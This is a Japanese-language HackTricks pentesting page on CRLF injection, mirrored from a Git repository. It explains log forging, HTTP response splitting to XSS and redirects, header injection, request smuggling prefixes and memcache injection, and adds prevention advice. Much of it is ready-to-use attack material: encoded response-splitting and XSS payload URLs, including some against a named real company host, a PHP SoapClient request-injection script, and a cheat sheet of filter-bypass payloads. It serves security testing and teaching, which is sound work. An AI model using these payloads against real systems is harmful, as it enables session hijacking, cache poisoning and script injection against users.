Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

18 KiB
Raw Blame History

CRLF (%0D%0A) インジェクション

htARTE（HackTricks AWS Red Team Expert） を通じて、ゼロからヒーローまでAWSハッキングを学ぶ！

HackTricks をサポートする他の方法:

バグバウンティのヒント: ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである Intigriti に サインアップしてください！https://go.intigriti.com/hacktricks で今すぐ参加し、最大 $100,000 のバウンティを獲得し始めましょう！

{% embed url="https://go.intigriti.com/hacktricks" %}

CRLF

キャリッジリターン（CR）とラインフィード（LF）は、HTTPプロトコルで使用される特別な文字シーケンスであり、行の終わりまたは新しい行の開始を示すために使用されます。Webサーバーとブラウザは、HTTPヘッダーとレスポンスの本文を区別するためにCRLFを使用します。これらの文字は、ApacheやMicrosoft IISなどのさまざまなWebサーバータイプでHTTP/1.1通信で普遍的に使用されています。

CRLF インジェクション脆弱性

CRLF インジェクションは、CRおよびLF文字をユーザー提供の入力に挿入することを含みます。このアクションにより、サーバー、アプリケーション、またはユーザーが挿入されたシーケンスを1つのレスポンスの終わりと別のレスポンスの開始と誤解するようになります。これらの文字自体には有害性がないですが、誤用するとHTTPレスポンスの分割やその他の悪意ある活動につながる可能性があります。

例: ログファイル内の CRLF インジェクション

こちらの例を参照してください。

管理パネル内のログファイルを考えてみましょう。フォーマットは次のようになります：IP - 時間 - 訪問したパス。典型的なエントリは次のようになります：

123.123.123.123 - 08:15 - /index.php?page=home

攻撃者はこのログを操作するためにCRLFインジェクションを悪用できます。HTTPリクエストにCRLF文字をインジェクトすることで、攻撃者は出力ストリームを変更し、ログエントリを偽造することができます。たとえば、インジェクトされたシーケンスはログエントリを次のように変換する可能性があります：

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

ここでは、%0d と %0a は CR と LF の URL エンコード形式を表します。攻撃後、ログには誤解を招くように表示されます:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

攻撃者は、悪意のある活動をローカルホスト（通常、サーバー環境内で信頼されるエンティティ）がアクションを実行したかのように見せかけます。サーバーは、%0d%0aで始まるクエリの一部を単一のパラメータとして解釈し、restrictedactionパラメータを別の独立した入力として解析します。操作されたクエリは、正当な管理コマンドを模倣する効果的なものとなります：/index.php?page=home&restrictedaction=edit

HTTPレスポンス分割

説明

HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用する際に生じるセキュリティ脆弱性です。この構造は、特定の文字シーケンス、キャリッジリターン（CR）に続くラインフィード（LF）という、CRLFとして総称されるものを使用して、ヘッダーと本文を分離します。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すれば、後続のレスポンスコンテンツを効果的に操作できます。この種の操作は、深刻なセキュリティ問題、特にクロスサイトスクリプティング（XSS）につながる可能性があります。

HTTPレスポンス分割を通じたXSS

  1. アプリケーションは、次のようにカスタムヘッダーを設定します：X-Custom-Header: UserInput
  2. アプリケーションは、UserInputの値をクエリパラメータから取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスに続く悪意のあるコンテンツを含むペイロードを作成できます。
  3. 攻撃者は、特別に作成された 'user_input' を含むURLを作成します：?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • このURLでは、%0d%0a%0d%0a はCRLFCRLFのURLエンコード形式です。これにより、サーバーがCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させます。
  1. サーバーは、ブラウザーによってレスポンス本文の一部として解釈される悪意のあるスクリプトが含まれるレスポンスヘッダーに攻撃者の入力を反映し、意図しないレスポンス構造につながります。

リダイレクトにつながるHTTPレスポンス分割の例

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

ブラウザーへ:

/%0d%0aLocation:%20http://myweb.com

そして、サーバーは次のヘッダーを返します：

Location: http://myweb.com

他の例: (from https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URLパス内

サーバーからのレスポンスを制御するために、URLパス内にペイロードを送信できます（こちらの例から）:

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

さらなる例は次の場所で確認できます：

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTPヘッダーインジェクション

HTTPヘッダーインジェクションは、しばしばCRLF（キャリッジリターンおよび改行）インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSS（クロスサイトスクリプティング）フィルターやSOP（同一オリジンポリシー）などのセキュリティメカニズムが崩れ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作が可能になります。

HTTPヘッダーインジェクションを介したCORSの悪用

攻撃者はHTTPヘッダーを注入してCORS（クロスオリジンリソース共有）を有効にすることができ、SOPによって課せられた制限をバイパスできます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。

CRLFを介したSSRFおよびHTTPリクエストインジェクション

CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成およびインジェクトすることができます。これの注目すべき例として、PHPのSoapClientクラス内のuser_agentパラメーターにある脆弱性があります。このパラメーターを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全にインジェクトしたりすることができます。以下は、この悪用を示すPHPの例です：

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

リクエストスマグリングへのヘッダーインジェクション

このテクニックや潜在的な問題についての詳細は、元のソースをチェックしてください。

初期リクエストに応答した後も、バックエンドが接続を維持するようにするために、重要なヘッダーをインジェクトできます。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

その後、2番目のリクエストを指定できます。このシナリオは通常、HTTPリクエストスマグリングを含み、サーバーによって追加された追加のヘッダーやボディ要素が、さまざまなセキュリティエクスプロイトにつながる可能性があるテクニックです。

Exploitation:

  1. 悪意のあるプレフィックスインジェクション: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを汚染することを含みます。例:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1

  1. レスポンスキューポイズニングのためのプレフィックスの作成: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストが形成されるプレフィックスを作成することを含みます。これにより、レスポンスキューポイズニングが引き起こされる可能性があります。例:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcacheはクリアテキストプロトコルを使用するキーバリューストアです。詳細は以下を参照してください:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

詳細については元の解説 をご覧ください

プラットフォームがHTTPリクエストからデータを取得し、サニタイズせずにそれを使用してmemcacheサーバーにリクエストを実行する場合、攻撃者はこの動作を悪用して新しいmemcacheコマンドをインジェクトする可能性があります。

たとえば、元の脆弱性が発見された場合、キャッシュキーが使用されてユーザーが接続すべきIPとポートを返し、攻撃者はキャッシュを毒化して被害者の詳細（ユーザー名とパスワードを含む）を攻撃者のサーバーに送信するmemcacheコマンドをインジェクトできました。

さらに、研究者は、memcacheの応答をデシンクして、攻撃者が知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました。

WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法

WebアプリケーションでのCRLF（キャリッジリターンと改行）またはHTTPヘッダーインジェクションのリスクを軽減するために、以下の戦略が推奨されます:

  1. レスポンスヘッダーに直接ユーザー入力を避ける: 最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。
  2. 特殊文字のエンコード: 直接ユーザー入力を避けることができない場合は、CR（キャリッジリターン）やLF（改行）などの特殊文字をエンコードするための専用の関数を使用してください。この実践により、CRLFインジェクションの可能性が防がれます。
  3. プログラミング言語の更新: Webアプリケーションで使用されているプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する機能内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。

チートシート

こちらからのチートシート

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

自動ツール

ブルートフォース検出リスト

参考文献

バグバウンティのヒント: Intigriti に サインアップ して、ハッカーたちによって作成されたプレミアム バグバウンティプラットフォーム に参加しましょう！https://go.intigriti.com/hacktricks で今すぐ 最大 $100,000 のバウンティを獲得し始めましょう！

{% embed url="https://go.intigriti.com/hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでAWSハッキングを学びましょう！

HackTricks をサポートする他の方法: